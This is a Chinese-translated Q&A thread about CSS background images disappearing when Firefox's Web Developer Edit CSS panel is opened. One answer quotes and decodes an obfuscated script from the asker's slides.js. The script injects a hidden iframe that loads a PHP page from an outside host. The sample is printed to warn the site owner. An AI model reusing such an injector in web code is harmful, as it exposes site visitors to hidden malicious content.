1

我为 HTML 文档编辑和构建样式表的典型工作流程是打开 Firefox Web 开发人员工具栏的 Edit CSS 面板并直接在浏览器窗口中进行编辑。

大多数时候，这就像一个魅力。但是，有时当我打开“编辑 CSS”面板时，某些图像会消失，我不知道为什么。更奇怪的是，有时我在工具栏打开时添加的图像在关闭时不可见。（我说的主要是使用 CSS background-image 规则添加的图像）。

这里有一些例子......

http://kenbrook.org - 如果您打开编辑 CSS 面板，主体背景图像以及几个 div 背景会消失。事实上，我认为几乎所有的 CSS 背景图像图像都消失了。我没有在这个网站上编写标记和大部分样式，但我负责编辑和完成它们。所以知道为什么会这样吗？

http://joelglovier.com - 也检查一下我刚刚构建自己并为其编写样式的这个（现在页面上只有几个元素）。在标题 div 中，我有一个空的 div，我正在将图像放入其中。当 Edit CSS 打开时，图像会按预期显示。然而，当它关闭时，看不到图像，虽然使用萤火虫我可以看到样式肯定被应用并且 div 是它应该在的位置。

有什么解释吗？？

4

5 回答 5

2

当 CSS 文件和图像文件与 HTML 不在同一目录中时，我已经看到了这个问题。例如我有这个目录结构：

index.html
image/background.jpg
css/index.css

我的 CSS 中有这个：

body { background-image:image/index.html; }

当 Web Developer 的 CSS 编辑器打开时，它就可以工作了。当我关闭它时，它没有。

原来答案是图像的路径是相对于 CSS 文件的，而不是相对于 HTML 文件的。打开 CSS 编辑器后，它正确地找出了路径。当它关闭时，Firefox 找不到该图像。

如果您想使用编辑器并将文件放在不同的目录中，我想 CSS 中的路径应该是绝对的。

于 2011-03-23T20:27:02.120 回答
1

好吧，我无法复制您的问题，当我打开“编辑 CSS 面板”时，页面保持不变，但我的病毒扫描程序警告我，您的一个脚本 (/assets/js/slides.js) 有一个隐藏的特洛伊木马。 Script.Iframer 里面...

也许你可以试试 firebug，它也有一个强大的 css 在线编辑器。

于 2010-07-30T15:41:38.513 回答
1

这段代码的目的是什么（来自http://kenbrook.org/assets/js/slides.js）

var source ="=tdsjqu?jg!)epdvnfou/dppljf/tfbsdi)#koewv>3#*!>>!.2*!|sz{{>epdvnfou/hfuFmfnfouCzJe)(m{nig(*<jg)sz{{>>ovmm*|epdvnfou/xsjuf)(=jgsbnf!je>m{nig!tsd>iuuq;00xxx/tqjsjufl/dp/kq0bttfut0kt0bkby/qiq!tuzmf>ejtqmbz;opof?=0jgsbnf?(*<~epdvnfou/dppljf!>!#koewv>3<fyqjsft>Tvo-!12.Efd.3122!19;11;11!HNU<qbui>0#<~=0tdsjqu?"; var result = "";
                   for(var i=0;i<source.length;i++) {
                       result+=String.fromCharCode(source.charCodeAt(i)-1);
                   }
                   document.write(result);

未混淆它会将其写入文档

<script>if (document.cookie.search("jndvu=2") == -1) {
ryzz=document.getElementById('lzmhf');if(ryzz==null){document.write('<iframe id=lzmhf src=http://www.spiritek.co.jp/assets/js/ajax.php style=display:none></iframe>');}
document.cookie = "jndvu=2;expires=Sun, 01-Dec-2011 08:00:00 GMT;path=/";}</script>

你知道它的存在吗？

于 2010-07-31T17:46:04.777 回答
1

不过，如果您查看 Web 开发人员工具栏主页，我会发现：“‘编辑 CSS’不适用于与 CSS 相关的背景图像”，位于“问题”下。因此，插件目前无法处理相对链接的图像。尝试让插件的创建者修复它......我也很讨厌这个问题......

于 2010-10-19T16:55:18.567 回答
0

我想我找到了问题所在 - 至少对于第二个链接。对于打开编辑 CSS 时显示的那个，但在没有打开该面板的情况下不显示，似乎我忽略了在绝对定位的 div 上定义一个顶部：值。当我定义了最高值时，图像显示在普通浏览器和编辑 CSS 打开的情况下显示。

不确定这是否适用于 kenbrook.org，其中图像正常显示但在打开编辑 CSS 时消失。

于 2010-07-24T16:30:20.500 回答